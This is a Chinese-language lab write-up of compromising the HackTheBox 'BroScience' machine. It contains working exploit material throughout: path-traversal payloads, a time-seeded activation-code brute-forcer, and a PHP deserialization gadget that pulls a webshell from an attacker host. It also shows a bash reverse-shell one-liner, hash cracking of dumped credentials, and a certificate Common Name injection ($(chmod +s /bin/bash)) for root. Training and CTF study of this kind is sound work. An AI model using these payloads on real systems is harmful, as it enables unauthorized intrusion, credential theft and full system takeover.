01
信息收集
使用nmap对靶场地址进行端口嗅探,靶场仅对外开放SSH(22)和WEB(80、443)服务。
sudo nmap -sT -p- --min-rate 10000 10.129.228.129sudo nmap -sV -sC -p 22,80,443 10.129.228.129访问80端口,页面跳转至https://broscience.htb/域名访问。
在/etc/hosts添加broscience.htb域名解析路径。
sudo vim /etc/hosts# broscience.htb10.129.228.129 broscience.htb
查看Web页面为以下内容如下。
点击左上角“LOG IN”,进入https://broscience.htb/login.php登录页面,点击“Create an account”进入https://broscience.htb/register.php用户注册页面。
注册账户,页面返回“帐户已创建。请检查您的电子邮件以获取激活链接。”。
使用注册用户进行登录,未能登录成功。
使用dirsearch对https://broscience.htb/进行目录扫描结果如下,除刚研究的login.php,register.php外,比较有价值的就是https://broscience.htb/includes/,该目录内包含一些文件。
02
文件读取
在https://broscience.htb/includes/img.php页面提示缺少“path”参数。
构造path参数,页面返回报错信息。
推测该接口可能存在文件读取漏洞,访问https://broscience.htb/includes/img.php?path=/etc/passwd页面返回拦截信息“Error: Attack detected.”。
使用wfuzz对接口进行fuzz测试。
wfuzz -u "https://broscience.htb/includes/img.php?path=FUZZ" -w dotdotpwn.txt --hh 0 --hs Attack-u 指向请求地址-w 字典-hh 隐藏0字节的响应包-hs 隐藏匹配到指定正则的响应包# 字典下载地址https://github.com/foospidy/payloads
在FUZZ的同时发现该path路径为首页图片的加载地址。
在Burpsuite的repeater模块中访问请求FUZZ结果链接,发现可以成功获取到/etc/passwd文件。Web页面存在文件读取漏洞。
也可以通过curl验证文件读取漏洞。
curl -k https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252fetc%252fpasswdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologintss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/falsemessagebus:x:104:110::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinusbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologinrtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologinsshd:x:108:65534::/run/sshd:/usr/sbin/nologindnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologinavahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologinspeech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/falsepulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologinsaned:x:113:121::/var/lib/saned:/usr/sbin/nologincolord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologingeoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologinDebian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/falsebill:x:1000:1000:bill,,,:/home/bill:/bin/bashsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologinpostgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash_laurel:x:998:998::/var/log/laurel:/bin/false
通过https://broscience.htb/includes/img.php?path=..%252fincludes/img.php读取到img.php源代码,源代码中对请求参数中的../,etc/passwd,.ssh做了黑名单限制。
访问https://broscience.htb/includes/img.php?path=..%252fincludes/db_connect.php,读取到数据库连接凭据,在端口嗅探中未发现5432端口开放,故该凭据目前无法使用。
$db_host = "localhost";$db_port = "5432";$db_name = "broscience";$db_user = "dbuser";$db_pass = "RangeOfMotion%777";$db_salt = "NaCl";$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");if (!$db_conn) {die("Error: Unable to connect to database");}?>
访问https://broscience.htb/includes/img.php?path=..%252fincludes/navbar.php,获得navbar.php源代码。
<?phpinclude_once "includes/utils.php";?><nav class="uk-navbar-container uk-margin uk-navbar-transparent <?=get_theme_class()?>"><div class="uk-container uk-container-expand"><div class="uk-navbar" uk-navbar><div class="uk-navbar-left"><a href="/" class="uk-navbar-item uk-logo">BroScience</a></div><div class="uk-navbar-right"><?php// Check if user is logged inif (isset($_SESSION['id'])) {echo '<div class="uk-navbar-item"><a href="swap_theme.php" class="uk-link-text"><span uk-icon="icon: paint-bucket"></span></a></div>';echo "<div class=\"uk-navbar-item\">Logged in as <a class=\"uk-link-text\" href=\"user.php?id={$_SESSION['id']}\"><b>".htmlspecialchars($_SESSION['username'],ENT_QUOTES,'UTF-8')."</b></a></div>";echo '<ul class="uk-navbar-nav"><li><a href="logout.php">Log Out</a></li></ul>';} else {echo '<ul class="uk-navbar-nav"><li><a href="login.php">Log In</a></li></ul>';}?></div></div></div></nav>
访问https://broscience.htb/includes/img.php?path=..%252fincludes/utils.php,获得utils.php源代码。分析源代码,utils.php主要由一些函数构成,其中“function get_theme()”中用到了序列化和反序列化的转换,“class AvatarInterface”存在魔法函数__wakeup()。
<?phpfunction generate_activation_code() {$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";srand(time());$activation_code = "";for ($i = 0; $i < 32; $i++) {$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];}return $activation_code;}// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)function rel_time($from, $to = null) {$to = (($to === null) ? (time()) : ($to));$to = ((is_int($to)) ? ($to) : (strtotime($to)));$from = ((is_int($from)) ? ($from) : (strtotime($from)));$units = array("year" => 29030400, // seconds in a year (12 months)"month" => 2419200, // seconds in a month (4 weeks)"week" => 604800, // seconds in a week (7 days)"day" => 86400, // seconds in a day (24 hours)"hour" => 3600, // seconds in an hour (60 minutes)"minute" => 60, // seconds in a minute (60 seconds)"second" => 1 // 1 second);$diff = abs($from - $to);if ($diff < 1) {return "Just now";}$suffix = (($from > $to) ? ("from now") : ("ago"));$unitCount = 0;$output = "";foreach($units as $unit => $mult)if($diff >= $mult && $unitCount < 1) {$unitCount += 1;// $and = (($mult != 1) ? ("") : ("and "));$and = "";$output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));$diff -= intval($diff / $mult) * $mult;}$output .= " ".$suffix;$output = substr($output, strlen(", "));return $output;}class UserPrefs {public $theme;public function __construct($theme = "light") {$this->theme = $theme;}}function get_theme() {if (isset($_SESSION['id'])) {if (!isset($_COOKIE['user-prefs'])) {$up_cookie = base64_encode(serialize(new UserPrefs()));setcookie('user-prefs', $up_cookie);} else {$up_cookie = $_COOKIE['user-prefs'];}$up = unserialize(base64_decode($up_cookie));return $up->theme;} else {return "light";}}function get_theme_class($theme = null) {if (!isset($theme)) {$theme = get_theme();}if (strcmp($theme, "light")) {return "uk-light";} else {return "uk-dark";}}function set_theme($val) {if (isset($_SESSION['id'])) {setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));}}class Avatar {public $imgPath;public function __construct($imgPath) {$this->imgPath = $imgPath;}public function save($tmp) {$f = fopen($this->imgPath, "w");fwrite($f, file_get_contents($tmp));fclose($f);}}class AvatarInterface {public $tmp;public $imgPath;public function __wakeup() {$a = new Avatar($this->imgPath);$a->save($this->tmp);}}?>
访问https://broscience.htb/includes/img.php?path=..%252fuser.php,获得user.php源代码。
<?phpsession_start();// Is it a proper request?if (isset($_GET['id'])) {if (!empty($_GET['id'])) {if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {include_once 'includes/db_connect.php';$res = pg_prepare($db_conn, "get_user_query", 'SELECT username, email, is_activated::int, is_admin::int, date_created FROM users WHERE id = $1');$res = pg_execute($db_conn, "get_user_query", array($_GET['id']));if (pg_num_rows($res) > 0) {$row = pg_fetch_row($res);} else {$alert = "No user with that ID";}} else {$alert = "Invalid ID value";}} else {$alert = "Empty ID value";}} else {$alert = "Missing ID value";}?><html><head><title>BroScience : <?php if (isset($row)) {echo htmlspecialchars($row[0],ENT_QUOTES,'UTF-8');} else {echo "View user";}?></title><?phpinclude_once 'includes/header.php';include_once 'includes/utils.php';$theme = get_theme();?><link rel="stylesheet" href="styles/<?=$theme?>.css"></head><body class="<?=get_theme_class($theme)?>"><?php include_once 'includes/navbar.php'; ?><div class="uk-container uk-container-xsmall"><?php// Display any alertsif (isset($alert)) {?><div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>"><a class="uk-alert-close" uk-close></a><?=$alert?></div><?php}if (isset($row)) {?><h1 class="uk-heading-small"><?=htmlspecialchars($row[0],ENT_QUOTES,'UTF-8')?></h1><!-- TODO: Avatars --><dl class="uk-description-list"><dt>Member since</dt><dd><?=rel_time($row[4])?></dd><dt>Email Address</dt><dd><?=$row[1]?></dd><dt>Total exercises posted</dt><dd><?php$res = pg_prepare($db_conn, "get_num_exercises_query", 'SELECT COUNT(*) FROM exercises WHERE author_id = $1');$res = pg_execute($db_conn, "get_num_exercises_query", array($_GET['id']));$row2 = pg_fetch_row($res);echo $row2[0];?></dd><dt>Total comments posted</dt><dd><?php$res = pg_prepare($db_conn, "get_num_comments_query", 'SELECT COUNT(*) FROM comments WHERE author_id = $1');$res = pg_execute($db_conn, "get_num_comments_query", array($_GET['id']));$row3 = pg_fetch_row($res);echo $row3[0];?></dd><dt>Is activated</dt><dd><?=(bool)$row[2]?'Yes':'No'?></dd><dt>Is admin</dt><dd><?=(bool)$row[3]?'Yes':'No'?></dd></dl><?php// Check if we are logged inif (isset($_SESSION['id'])) {if ($_SESSION['id'] === $_GET['id'] || $_SESSION['is_admin']) {// We are logged in as this user, add the edit form?><hr><form class="uk-form-stacked" method="POST" action="update_user.php"><fieldset class="uk-fieldset"><legend class="uk-legend">Edit User</legend><div class="uk-margin"><input name="username" class="uk-input" type="text" placeholder="New username"></div><div class="uk-margin"><input name="email" class="uk-input" type="email" placeholder="New email"></div><div class="uk-margin"><input name="password" class="uk-input" placeholder="New password"></div><div class="uk-margin"><button class="uk-button uk-button-default" type="submit">Update</button></div><input type="hidden" name="id" value="<?=$_GET['id']?>"></fieldset></form><?php}}}?></div></body></html>
分析user.php,发现通过构造id参数访问https://broscience.htb/user.php?id=1,可以遍历出用户信息。
administratorbillmichaeljohndmytro
访问https://broscience.htb/includes/img.php?path=..%252fregister.php,获得register.php源代码,查看注册完成时的activation link激活功能模块。发现激活链接“https://broscience.htb/activate.php?code={$activation_code}”中的$activation_code由includes/utils.php页面中generate_activation_code()函数生成。
<?phpsession_start();// Check if user is logged in alreadyif (isset($_SESSION['id'])) {header('Location: /index.php');}// Handle a submitted register formif (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {// Check if variables are emptyif (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {// Check if passwords matchif (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {// Check if email is too longif (strlen($_POST['email']) <= 100) {// Check if email is validif (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {// Check if username is validif (strlen($_POST['username']) <= 100) {// Check if user exists alreadyinclude_once 'includes/db_connect.php';$res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');$res = pg_execute($db_conn, "check_username_query", array($_POST['username']));if (pg_num_rows($res) == 0) {// Check if email is registered already$res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');$res = pg_execute($db_conn, "check_email_query", array($_POST['email']));if (pg_num_rows($res) == 0) {// Create the accountinclude_once 'includes/utils.php';$activation_code = generate_activation_code();$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));if (pg_num_rows($res) == 0) {$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));// TODO: Send the activation link to email$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";$alert = "Account created. Please check your email for the activation link.";$alert_type = "success";} else {$alert = "Failed to generate a valid activation code, please try again.";}} else {$alert = "An account with this email already exists.";}}else {$alert = "Username is already taken.";}} else {$alert = "Maximum username length is 100 characters.";}} else {$alert = "Please enter a valid email address.";}} else {$alert = "Maximum email length is 100 characters.";}} else {$alert = "Passwords do not match.";}} else {$alert = "Please fill all fields in.";}}?><html><head><title>BroScience : Register</title><?php include_once 'includes/header.php'; ?></head><body><?php include_once 'includes/navbar.php'; ?><div class="uk-container uk-container-xsmall"><form class="uk-form-stacked" method="POST" action="register.php"><fieldset class="uk-fieldset"><legend class="uk-legend">Register</legend><?php// Display any alertsif (isset($alert)) {?><div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>"><a class="uk-alert-close" uk-close></a><?=$alert?></div><?php}?><div class="uk-margin"><input name="username" class="uk-input" placeholder="Username"></div><div class="uk-margin"><input name="email" class="uk-input" type="email" placeholder="Email"></div><div class="uk-margin"><input name="password" class="uk-input" type="password" placeholder="Password"></div><div class="uk-margin"><input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password"></div><div class="uk-margin"><button class="uk-button uk-button-default" type="submit">Register</button></div></fieldset></form></div></body></html>
03
获取www-data权限
我们可以尝试在账户注册时,通过includes/utils.php页面中generate_activation_code()函数生成activation_code,并通过https://broscience.htb/activate.php?code={$activation_code}进行账户激活。
# register.php中相关代码片段include_once 'includes/utils.php';$activation_code = generate_activation_code();# utils.php中相关代码片段function generate_activation_code() {$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";srand(time()); //srand() 函数播种随机数生成器,time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数。$activation_code = "";for ($i = 0; $i < 32; $i++) {$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];}return $activation_code;}
在https://broscience.htb/register.php注册用户,从响应包中获取DATA。
Sun, 16 Apr 2023 03:38:57 GMT因为执行generate_activation_code()时为用户注册后的校验阶段,故原time()应该为注册时间,及注册用户的响应包“DATA”字段。且因为程序在处理函数时可能会与返回的“DATA”字段存在出入,可以增加一个循环,生成该"DATA"字段前后30秒的code,通过枚举激活注册账户,代码如下:
<?phpfunction generate_activation_code($new_time) {$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";srand($new_time);$activation_code = "";for ($i = 0; $i < 32; $i++) {$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];}return $activation_code;}$time = strtotime('Sun, 16 Apr 2023 03:12:15 GMT');for ($new_time = $time - 30; $new_time <= $time + 30; $new_time ++){$activation_code = generate_activation_code($new_time);echo $activation_code."\n";}?>
使用wfuzz对codes.txt枚举,成功激活注册用户。
wfuzz -u https://broscience.htb/activate.php?code=FUZZ -w codes.txt --hh 1256使用注册用户登录,成功登入。
登录成功后查看cookie信息,疑似user-prefs字段值为base64编码,使用base64解码,获取到cookie明文。
echo "Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NToibGlnaHQiO30%3D" | base64 -dO:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}
继续分析utils.php,以下函数说明cookie中'user-prefs'的生成方式,base64_encode(serialize(new UserPrefs())),涉及了序列化和反序列化。
function get_theme() {if (isset($_SESSION['id'])) {if (!isset($_COOKIE['user-prefs'])) {$up_cookie = base64_encode(serialize(new UserPrefs()));setcookie('user-prefs', $up_cookie);} else {$up_cookie = $_COOKIE['user-prefs'];}$up = unserialize(base64_decode($up_cookie));return $up->theme;} else {return "light";}}function get_theme_class($theme = null) {if (!isset($theme)) {$theme = get_theme();}if (strcmp($theme, "light")) {return "uk-light";} else {return "uk-dark";}}function set_theme($val) {if (isset($_SESSION['id'])) {setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));}}
以下代码片段说明文件的写入过程,其中包含了 __construct()、__wakeup()等魔术方法。
class Avatar {public $imgPath;public function __construct($imgPath) {$this->imgPath = $imgPath;}public function save($tmp) {$f = fopen($this->imgPath, "w");fwrite($f, file_get_contents($tmp));fclose($f);}}class AvatarInterface {public $tmp;public $imgPath;public function __wakeup() {$a = new Avatar($this->imgPath);$a->save($this->tmp);}}
上面我们已经知道了cookie的生成方式,我们可以利用“class AvatarInterface”的__wakeuo()魔术方法及“public function save()”函数的写入文件功能,将恶意payload生成恶意的“user-prefs”cookie,程序经过反序列化“user-prefs”cookie,将webshell写入网站。
class Avatar {public $imgPath; // cmd.phppublic function __construct($imgPath) {$this->imgPath = $imgPath;}public function save($tmp) { // http://10.10.14.23:8000/cmd.php$f = fopen($this->imgPath, "w");fwrite($f, file_get_contents($tmp));fclose($f);}}class AvatarInterface {public $tmp;public $imgPath;public function __wakeup() {$a = new Avatar($this->imgPath);$a->save($this->tmp);}}$AvatarInterface = new AvatarInterface();$AvatarInterface->tmp = "http://10.10.14.23:8000/cmd.php";$AvatarInterface->imgPath = "cmd.php";$cookie = base64_encode(serialize($AvatarInterface));echo $cookie;?>
在kali制作一句话木马cmd.php,并在当前目录下使用python开启http服务,等待连接下载。
# 在cmd.php写入一句话木马echo '<?php system($_GET["cmd"]); ?>' >cmd.php# 查看一句话木马cat cmd.php# python开启HTTP服务python3 -m http.server
使用Burpsuite对注册用户登录首页进行抓包,将cookie中“user-prefs”字段替换为刚生成的恶意payload,重放数据包。可以看到python开启http服务收到了3条连接信息。
Cookie: PHPSESSID=ltrdjhfgahlavo87jptt8os7eq; user-prefs=TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozMToiaHR0cDovLzEwLjEwLjE0LjIzOjgwMDAvY21kLnBocCI7czo3OiJpbWdQYXRoIjtzOjk6Ii4vY21kLnBocCI7fQ==访问https://broscience.htb/cmd.php?cmd=id,页面返回uid=33(www-data) gid=33(www-data) groups=33(www-data) ,获取到www-data权限。
上传的cmd.php容易被清除,需要重放替换“user-prefs”字段的数据包方可正常执行命令。这里将执行反弹shell命令,反弹出一个稳定的shell。
# kali使用nc开启9002端口监听nc -lvnp 9002# 在cmd.php中执行反弹shell,注意要将&编码为%26https://broscience.htb/cmd.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.23/9002 0>%261'
查看家目录发现存在bill用户,但是无权限读取bill用户桌面的user.txt。
使用netstat查看无法查看到网络连接情况,且无法退出命令执行,还不是完全的交互式shell。
04
获取bill权限
通过命令将shell升级为交互式shell,重新查看网络连接情况,发现postgresql数据库运行,可以通过之前获得的凭据登录postgresql数据库。
netstat -ap tcp使用db_connect.php中的凭据成功进入postgresql数据库。
psql -h 127.0.0.1 -U dbuser -d broscience查看user数据表,发现存在5行数据,且存在密码字段,其中包括bill用户。
select * from users;id | username | password | email | activation_code | is_activated | is_admin | dat1 | administrator | 15657792073e8a843d4f91fc403454e1 | [email protected] | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07 02:02:22.226763-052 | bill | 13edad4932da9dbb57d9cd15b66ed104 | [email protected] | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07 03:34:44.127644-043 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | [email protected] | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01 04:12:34.732872-044 | john | a7eed23a7be6fe0d765197b1027453fe | [email protected] | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21 11:45:53.118482-045 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | [email protected] | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13
同时在register.php中可以得知用户密码字段由md5($db_salt . $_POST['password'])方式加密,且$db_salt值在db_connect.php中定义为"NaCl"。以此可以爆破出bill账户的口令。
# 以下片段说明数据库中密码字段为md5($db_salt . $_POST['password'])加密方式$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));# 在db_connect.php有$db_salt的值$db_salt = "NaCl";
使用hashcat成功爆破出bill账户凭据。
hashcat 13edad4932da9dbb57d9cd15b66ed104:NaCl /usr/share/wordlists/rockyou.txt -m 20# 凭据信息bill:iluvhorsesandgym
在端口嗅探中得知靶场开放22端口,使用bill账户进行ssh登录,成功获取到bill账户权限,在bill账户桌面获得user.txt。
ssh [email protected]10.129.228.12905
获取root权限
执行"sudo -l"命令,未发现sudo配置不当,无法通过sudo进行提权。
将pspy64通过上传至靶机,并运行pspy64对系统进行信息收集。发现定时计划任务中存在root权限执行的/opt/renew_cert.sh。
查看/opt/renew_cert.sh脚本内容,发现该脚本主要为检查证书是否在一天内过期,如一天内过期,则重新生成一个有效期为365天的temp.crt证书,并将该证书替换原来的certificate.crt证书。
#!/bin/bashif [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; thenecho "Usage: $0 certificate.crt";exit 0;fiif [ -f $1 ]; thenopenssl x509 -in $1 -noout -checkend 86400 > /dev/nullif [ $? -eq 0 ]; thenecho "No need to renew yet.";exit 1;fisubject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)country=$(echo $subject | grep -Eo 'C = .{2}')state=$(echo $subject | grep -Eo 'ST = .*,')locality=$(echo $subject | grep -Eo 'L = .*,')organization=$(echo $subject | grep -Eo 'O = .*,')organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')commonName=$(echo $subject | grep -Eo 'CN = .*,?')emailAddress=$(openssl x509 -in $1 -noout -email)country=${country:4}state=$(echo ${state:5} | awk -F, '{print $1}')locality=$(echo ${locality:3} | awk -F, '{print $1}')organization=$(echo ${organization:4} | awk -F, '{print $1}')organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')commonName=$(echo ${commonName:5} | awk -F, '{print $1}')echo $subject;echo "";echo "Country => $country";echo "State => $state";echo "Locality => $locality";echo "Org Name => $organization";echo "Org Unit => $organizationUnit";echo "Common Name => $commonName";echo "Email => $emailAddress";echo -e "\nGenerating certificate...";openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country$state$locality$organization$organizationUnit$commonName$emailAddress" 2>/dev/null/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"elseecho "File doesn't exist"exit 1;
在第54行可以发现存在变量“$commonName”,而“$commonName”变量引自第24行“commonName=$(echo $subject | grep -Eo 'CN = .*,?')”。我们可以利用openssl生成一个新证书,在填写Common Name这一栏时加入恶意代码。
# 进入/home/bill/Certs/目录cd /home/bill/Certs/# 生成有效期为1天(86400)的证书,证书名为broscience.crtopenssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 1# 设置Common Name为恶意payload$(chmod +s /bin/bash)
待计划任务执行,/bin/bash成功增加SUID和GUID权限。
ls -al /bin/bash-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
执行“/bin/bash -p”,成功获取root权限。
在root用户家目录获取到root.txt。
游戏结束。